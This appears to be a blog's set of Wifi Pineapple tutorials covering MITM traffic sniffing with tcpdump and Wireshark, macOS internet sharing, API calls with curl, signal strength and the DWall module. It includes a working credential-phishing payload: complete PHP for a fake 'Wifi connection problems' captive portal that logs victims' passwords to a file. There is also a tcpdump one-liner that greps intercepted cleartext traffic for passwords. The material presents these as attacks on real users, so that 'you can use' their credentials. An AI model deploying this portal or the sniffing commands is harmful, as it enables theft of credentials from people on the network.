Wifi Pineapple, tcpdump and Wireshark

Your Wifi Pineapple is up and running and some connected clients produce a lot of network traffic. What also means half of your MITM work is already done. 😉 Without any additional module you can already analys this traffic with tcpdump, which is installed by default. In combination with Wireshark (SSH Remote Capture) you can reach awesome goals.

Objectives

In this tutorial I will explain how easy you can obtain important network information via your MITM attack with tcpdump and/or Wireshark.

Step 1: some preparation first

Start the Wifi Pineapple, enable Internet sharing and verify your configurations. Without internet sharing your wifi clients don’t produce valuable traffic! In previous tutorials about Wifi Pineapple I wrote down two options how you can share internet on macOS (here and here you will find them).

Step 2: add an station (STA) to access point (AP)

For next step it’s needed to understand your network interfaces. On all Pineapple devices (Nano/Tetra) you have 2 WLAN interfaces -> wlan0 and wlan1 (inclusiv some other eq eth). Of course tcpdump would analyze the traffic for all interfaces but to be more precise and correct you should sniff packets on specific interface. So depended how an AP is created (open or FakeAP) and an STA is connected you need to decide on which interface you will work (wlan0 or wlan1mon).

For this example I will not create a fake AP (wlan1mon), I simply use the Open SSID (under menu item Networking). The SSID of my choise is Starbucks.

Open SSID configuration on Wifi Pineapple

As a STA I choose my own iPad (172.16.42.187).

iPad client on WiFi Pineapple

As I am mostly trust nothing, I can verify simply (ifconfig on Wifi Pineapple).

# get interface status (optional)
$ ssh -C4 root@172.16.42.1 "ifconfig"
wlan0     Link encap:Ethernet  HWaddr 00:13:37:A7:A3:3D  
          inet6 addr: fe80::213:37ff:fea7:a33d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:334 errors:0 dropped:0 overruns:0 frame:0
          TX packets:479 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:36864 (36.0 KiB)  TX bytes:58796 (57.4 KiB)

wlan1     Link encap:Ethernet  HWaddr 00:13:37:A7:A3:3E  
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

Step 3: analys traffic with tcpdump

Our tcpdump examples will be executed directly on the Pineapple device, therefore please SSH into it.

# ssh into Pineapple
$ ssh -C4 root@172.16.42.1

The following tcpdump examples will help you to understand the basics. In case you need a deeper explanation about the commands use this free online service.

# show DNS traffic
$ tcpdump -i wlan0 -nn -l udp port 53

# show HTTP User Agent and Hosts
$ tcpdump -i wlan0 -nn -l -A -s1500 | egrep -i 'User-Agent:|Host:'

# show HTTP requests and Hosts
$ tcpdump -i wlan0 -nn -l -s 0 -v | egrep -i "POST /|GET /|Host:"

# show e-mail recipients
$ tcpdump -i wlan0 -nn -l port 25 | egrep -i 'MAIL FROM\|RCPT TO'

# show FTP data
$ tcpdump -i wlan0 -nn -v port ftp or ftp-data

# show all passwords different protocols
$ tcpdump -i wlan0 port http or port ftp or port smtp or port imap or port pop3 or port telnet -l -A | egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user '

Step 4: analys traffic with Wireshark

As disk space and hardware resources are not that high on Pineapple devices, why not use local Wireshark and analyze the traffic via remote?

In case you don’t have Wireshark already installed, now it will be the best time for it. Otherwise you can’t follow now this last part now.

To start tcpdump and Wireshark only a single one-liner is needed. Note: The Wireshark path I use in the example, is only for macOS!

# start tcpdump via SSH and Wireshark remote capture
$ ssh root@172.16.42.1 'tcpdump -i wlan0 -s0 -nn -w - not port 22' | /Applications/Wireshark.app/Contents/MacOS/Wireshark -k -i -

Here now some examples for Wireshark display filters.

Wireshark display filter for DNS

DNS queries and specific IP (STA)

(dns.flags.response == 0) && (ip.src == 172.16.42.187)

DNS responses and specific IP (STA)

(dns.flags.response == 1) && (ip.src == 172.16.42.187)

All HTTP requests

http.request

All HTTP responces and HTTP status code 200

(http.response) && (http.response.code == 200)

As you can see now, for such network analytics no additional Wifi Pineapple modules are required. What does not mean that I don’t like them.

Share internet from macOS to Wifi Pineapple (Part 2)

Some weeks ago I wrote the first part about Internet Sharing. There we changed the network configuration on the Wifi Pineapple itself. This time we tweak the network configuration (NAT subnet configurations) so that we can use internet sharing on macOS inside “172.16.42.x” network.

Objectives

Configure Internet Sharing without changing the default settings on Wifi Pineapple (but change defaults on macOS).

Step 1: Prepare for next steps

If you have “Internet Sharing” enabled, now you must switch it off!

Turn on the Wifi Pineapple device and connect via USB (A plug for NANO, ETH plug for TETRA) to your Mac. If everything works fine, following commands should run successful.

# ping device (optional)
$ ping -c 1 172.16.42.1

# show wifi pineapple network settings (optional)
$ ssh root@172.16.42.1 -C 'uci show network'

# start browser session (optional)
$ open http://172.16.42.1:1471

Step 2: Configure default subnet

The property list (com.apple.nat.plist) is like a contract between the “Sharing preferences pane” and “InternetSharing”. One important property to set there is “SharingNetworkNumberStart” (all other properties, which follow in this tutorial, are optional). This property controls the behavior of InternetSharing when it configures IP addresses for the local interfaces. I choose value 172.16.42.10.

# read the property list (optional)
$ defaults read /Library/Preferences/SystemConfiguration/com.apple.nat.plist

# create backup of the property list file (optional)
$ sudo cp /Library/Preferences/SystemConfiguration/com.apple.nat.plist /Library/Preferences/SystemConfiguration/com.apple.nat.plist.bak

# add start IP
$ sudo defaults write /Library/Preferences/SystemConfiguration/com.apple.nat NAT -dict-add SharingNetworkNumberStart 172.16.42.10

# add end IP (optional)
$ sudo defaults write /Library/Preferences/SystemConfiguration/com.apple.nat NAT -dict-add SharingNetworkNumberEnd 172.16.42.100

# add network mask (optional)
$ sudo defaults write /Library/Preferences/SystemConfiguration/com.apple.nat NAT -dict-add SharingNetworkMask 255.255.255.0

Step 3: Network configuration

We will deal with 2 interfaces locally (enX and bridge100). Now we configure the “enX” IP first. We do this simply via “Network preferences”. Depending to your Wifi Pineapple device you should see following services:

  • NANO: AX88x72A
  • TETRA: USB 10/100 LAN

Select the service and configure like in picture.

macOS - Wifi Pineapple IP configuration

Now change the network service order.

macOS - Wifi Pineapple network service order

After saving, we quickly check everything.

# check interface (in my case it's en5)
$ ifconfig en5                
...
inet 172.16.42.10 netmask 0xffffff00 broadcast 172.16.42.255

# ping from wifi pineapple (should not work yet)
$ ssh root@172.16.42.1 -C 'ping -c 1 google.com'
...
ping: sendto: Network unreachable

# check for interface (should not exist)
$ ifconfig bridge100
...
ifconfig: interface bridge100 does not exist

Step 4: Start Internet Sharing

Inside “System Preferences”, click “Sharing”, then select “Internet Sharing”. Configure as in picture.

macOS - Wifi Pineapple internet share

Step 5: Set bridge100 interface IP

Back to the terminal, here the interface “bridge100” should be visible now. This interface we assign the IP 172.16.42.42.

# show interface information (optional)
$ ifconfig bridge100

# add IP to bridge100 interface
$ sudo ifconfig bridge100 172.16.42.42 netmask 255.255.255.0 up

That’s it already! Via “Bulletins” you can verify.

Wifi Pineapple Dashboard

BTW … Take a look at the following local files, with and without Internet sharing!

# read config file for DHCP
$ defaults read /etc/bootpd.plist

# read internet share config (optional)
$ defaults read /System/Library/LaunchDaemons/com.apple.NetworkSharing.plist

Introduction into Wifi Pineapple API

After short time you might come to the idea to control your Wifi Pineapple via terminal only. Luckily the developers provided an API. There is already a Python wrapper available. But why not easily using curl and jq?

Objective

Learn how to setup and use (via curl) the Wifi Pineapple API.

Precondition

jq installed (latest)

Preparation

If not done already, you need to create a API token. To do so, open “Advanced” section – insert a token name and press button “Generate”.

Wifi Pineapple generate API token

The curl commands can be very long and unhandy. To make it a little easier to use, you should save and use the very long token (and header) as a variables ($TOKEN and $HEADER).

# create token variable
$ TOKEN="458aef505b17d0e954f95419c8da0df1047529708787bb04b15362bc3ecaa6e19e22d8bf2378293275c0e9ce6af62ef0e00691ec24aaa7309e6b9923067177af"

$ HEADER='-H "Content-type: application/json"'

# create a first simple nothification
$ curl -s -X POST  $HEADER -d '{"system": "notifications", "action": "addNotification", "message": "my first notification", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/

As the Wifi Pineapple use an well known prefix we cannot use jq directly! So we need to remove the prefix from our output. Now create a new variable and pipe the output through sed. In my case the following characters are used as response prefix “)]}’,“.

# create prefix variable
$ PREF=")]}',"

# create a second simple nothification (incl. sed and jq)
$ curl -s -X POST  $HEADER -d '{"system": "notifications", "action": "addNotification", "message": "my second notification", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

If everything was working well, the terminal output will be pretty-printed (via jq) and you should be able to see both notifications (Browser UI).

Wifi Pineapple notifications via API

API examples

The online API documentation is very good described. However, to give you a better start, a few examples are shown below.

# get current version of Wifi Pineapple
$ curl -s -X POST $HEADER -d '{"module": "Advanced", "action": "getCurrentVersion", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

# get current time zone of Pineapple
$ curl -s -X POST $HEADER -d '{"module": "Configuration", "action": "getCurrentTimeZone", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

# check available module storages
$ curl -s -X POST $HEADER -d '{"module": "ModuleManager", "action": "checkDestination", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

# get installed modules
$ curl -s -X POST $HEADER -d '{"module": "ModuleManager", "action": "getInstalledModules", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

I think you’ve got it. In similar way you can use the API for “Recon”, “Logging”, “Networking” and so on.

Understand and measure signal strength with Wifi Pineapple

It’s a long title for a tutorial this time. Don’t worry I will try my best to make it short and understandable. Many people wonder why there penetration of Wifi networks not really works and forget about an very important point: “Wifi Signal Strength”. But what is it? How can I measure it? Do I need to buy expensive software? Here a try to enlighten you. For this explanation I will use the Wifi Pineapple device with some command line tools and a nice UI module.

Objectiv

Understand the basics of Wifi Signal Strength and learn how to measure it.

Precondition

Wifi Pineapple device incl. SSH connection into it plus internet connection (to download the module).

The basics

The WiFi signal strength is given as the logarithmic (not linear) unit of measurement of the power dBm. Decibels are relative to milliwatts and are expressed as a negative number from 0 to -100. For example, a signal value of -50 is much stronger than a signal value of -70. A difference of 3 dBm is therefore halving or doubling the strength of the previous value. The following table should give some information about the values.

Signal strengthQualityDescription
-30 dBmExcellentOne of the best values ​​that can be achieved.
-50 dBmGoodAn very good signal level which allows all applications in the network.
-70 dBmAcceptableNot a good value, there are already severe application problems.
-90 dBmVery badVery bad value, there is usually no connection here.

The measurement

Now let’s get to the measurement quickly. Start the Wifi Pineapple and connect.

# SSH into Wifi Pineapple device
$ ssh root@192.168.2.10

Let’s take a look at the values ​​of the wifi devices themselves (these will be different).

# show statistics on each wireless interface in the system
$ cat /proc/net/wireless

# show interface configuration with ifconfig
$ ifconfig wlan0
$ ifconfig wlan1

# show interface configuration with iwconfig
$ iwconfig wlan0
$ iwconfig wlan1

Now we scan the Wifi’s and have the values ​​displayed (repeat this multiple times to get the average).

# use iwlist to scan (old way)
$ iwlist wlan0 scanning | egrep -i 'SSID|Quality'

# use iw to scan (modern way)
$ iw wlan0 scan | egrep -i 'SSID|signal'

Make it more visible

Under the Wifi Pineapple modules you can search for “SignalStrength” and install it. After successful installation, select the module then select one of your available wifi interfaces and press button “Scan”.

Wifi Pineapple module SignalStrength scan

After short time you will have outputs as table and graph.

Signal Level Graph

That’s it already. With these basics, you should be able to understand and perform your wifi penetration tests even better.

Wifi Pineapple Module DWall

This is the first tutorial about Wifi Pineapple modules. I will start with a simple one called DWall. With this module you can gather and display easily live informations from connected clients wich using the HTTP protocol.

Objective

Installation and usage of module DWall on the Wifi Pineapple.

Precondition

Your Wifi Pineapple need to have an internet connection.

Installation

This time we will use the browser UI for the installation. Let’s start… Look for DWall among the available modules, click the “Install” button and select the location (you should always select the SD card, if available).

DWall installation on Wifi Pineapple

Via Terminal you can verify the installation, too.

# list installed modules on sdcard folder
$ ssh root@192.168.2.10 -C 'ls -la /sd/modules/'

Usage

After successful installation (which should be quite fast), select the module. Now activate it and start the listener. As soon as a connected client makes requests with HTTP, you will see them in the module output. Depending on the responce, also other data such as pictures.

DWall report on Wifi Pineapple UI

Now the last one should also understand why encryption (HTTPS) is so important! Even if it is already used a lot, you will figure that many websites still work without encryption.

Create landing pages for Wifi Pineapple

With the Wifi Pineapple from Hak5 you can create “Landing Pages” in few minutes. With some luck people insert their they credentials and you can use them. In this tutorial I will explain how easy this can be done without any extra modules installed (like Evil Portal and so on).

Objectives

Only with standard features we setup a captive portal (for the http protocol) in which we can try to collect credentials.

Precondition

To use the “Landing Page” feature of your Wifi Pineapple, you need a working internet connection on the device. In this tutorial you can learn how to do this for macOS.

Prepare and test locally

Before you write the code directly on the device, I recommend to code and and test it locally. This section will explain how.

# create project
$ mkdir -p ~/Projects/LandingPage

# change directory
$ cd ~/Projects/LandingPage

# create PHP file
$ vim index.php

# test with PHP built-in Web Server
$ php -S localhost:8000
<?php
// Landing page configuration
$SSID = 'ExampleSSID';

// Landing page content
if (isset($_POST['wifi_password']) && !empty(trim($_POST['wifi_password']))) {
  $data = $SSID . ':' . htmlspecialchars(trim($_POST['wifi_password'])) . "\n";
  file_put_contents('/tmp/wifi-passwords.txt', $data, FILE_APPEND | LOCK_EX);
  header("Location: https://google.com");
} else {
  echo '<!DOCTYPE HTML><html lang="en-US"><head>';
  echo '<title>' . $SSID . ' Connection Failure</title>';
  echo '<meta charset="utf-8">';
  echo '<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">';
  echo '<meta name="generator" content="' . $SSID . '">';
  echo '<style>';
  echo 'html, body {';
  echo '  font-family: Helvetica, sans-serif;';
  echo '  background: #f3f2f2;';
  echo '}';
  echo 'h1 {';
  echo ' padding-bottom: 20px;';
  echo ' border-bottom: 1px solid #eee;';
  echo ' font-size: 25px;';
  echo ' color: #4288CC;';
  echo '}';
  echo 'p {';
  echo ' margin-bottom: 20px;';
  echo ' padding-bottom: 20px;';
  echo ' font-size: 15px;';
  echo ' color: #777;';
  echo ' border-bottom: 1px solid #eee;';
  echo '}';
  echo 'input {';
  echo ' padding: 5px;';
  echo '}';
  echo '.center {';
  echo '  margin: 150px auto auto auto;';
  echo '  padding: 20px;';
  echo '  width: 450px;';
  echo '  text-align: center;';
  echo '  border: 1px solid #ccc;';
  echo '  border-radius: 5px;';
  echo '  background: #fff;';
  echo '  box-shadow: 4px 4px 5px 0px rgba(50, 50, 50, 0.75);';
  echo '}';
  echo '</style></head>';
  echo '<div class="center">';
  echo '<h1>Wifi connection problems</h1>';
  echo '<p>Please enter your password for "' . $SSID . '" <br> and press "Reconnect" to solve this issue.</p>';
  echo '<form method="POST" action="' . htmlspecialchars($_SERVER["PHP_SELF"]) . '">';
  echo '<input type="password" name="wifi_password" size="35" maxlength="65"> ';
  echo '<input type="submit" name="submit" value="Reconnect">';
  echo '</form></div></html>';
}

Open your Browser and use the URL http://localhost:8000. You can go back to your favorite editor and work on it. After you’re done press Ctrl-C to quit the build-in server.

Create Landing Page on Wifi Pineapple

Connect in your Browser to the Wifi Pineapple device, login and copy/paste the php code into “Landing Page” textarea. Save and enable the feature.

Wifi Pineapple Landing Page configuration.

Here a picture from my iPad after joining the wifi network.

Fake captive portal from Pineapple

If you read the PHP code, you will see that all informations are stored into file wifi-passwords.txt.

# SSH into pineapple
$ ssh root@<wifi pineapple ip>

# read gathered informations
$ cat /tmp/wifi-passwords.txt

# or tail
$ tail -f /tmp/wifi-passwords.txt

Note: You can extend the code to gather the username and password (incl. checkbox for acceptable use policy) where users of public-access network are obliged to view and interact with before access is granted (like hotels, airports, etc.).

Share internet from macOS to Wifi Pineapple

I have been using the Wifi Pineapple Nano by Hak5 for a long time. What can I say – very, very cool tiny device. Since I am also a macOS user, I would like to show in this tutorial how I share my internet (Wifi to USB). There are various options but with this I have currently achieved the best results.

Important: You should carry out all firmware upgrades beforehand, since the settings (which I will show you soon) will be overwritten again.

Objectives

I would like to connect my Macbook to the Internet via WiFi and then make it available to the Wifi Pineapple via USB. So here both devices should be able to use the Internet without network conflicts.

Change Wifi Pineapple network

# show interface configuration (optional)
$ ifconfig

# connect to Pineapple device via SSH
$ ssh root@172.16.42.1

# backup network file
$ cp /etc/config/network /etc/config/network.bak

# show all settings (optional)
$ uci show

# show network settings (optional)
$ uci show network

# change ip with UCI configuration tool
$ uci set network.lan.ipaddr='192.168.2.10'

# change gateway with UCI configuration tool
$ uci set network.lan.gateway='192.168.2.1'

# save changes
$ uci commit

# reboot device
$ reboot

The first steps of the configuration have been carried out. However, you still cannot connect to the device or share the internet!

Modify macOS network configuration

Now you have to configure the macos network dhcp with manual address (network.lan.gateway 192.168.2.1). To do this, open the network settings and select the Wifi Pineapple (AX88x72A). Select “DHCP with manual address” in the dropdown and assign the IP (next to Configure IPv4).

Configure device as DHCP with manual address.

You should also change the arrangement of your available network connections (devices). Click the gear icon and select “Set Service Order”. At the top should be the standard wifi followed by Wifi Pineapple.

set service order

After a short time, the settings should have been accepted.

Wifi to USB internet sharing

Now we are making the internet available from Wifi to Wifi Pineapple (USB). Launch Internet Sharing under System Preferences. On “Share your connection from” select the Wifi and on “To computers using” select the Wifi Pineapple.

share internet from Wifi to USB

Done … let’s verify all configurations.

# show interface configuration (optional)
$ ifconfig

# connect to Pineapple via SSH
$ ssh root@192.168.2.10

# run simple ping (optional)
$ ping -c 1 google.com

# exit SSH connection to Pineapple
$ exit

# open browser
$ open http://192.168.2.10:1471

Note: The Browser URL is now http://192.168.2.10:1471 (network.lan.ipaddr 192.168.2.10)!

After login you can go to the Dashboard and check “Bulletins” which should show the latest news from wifipineapple.com.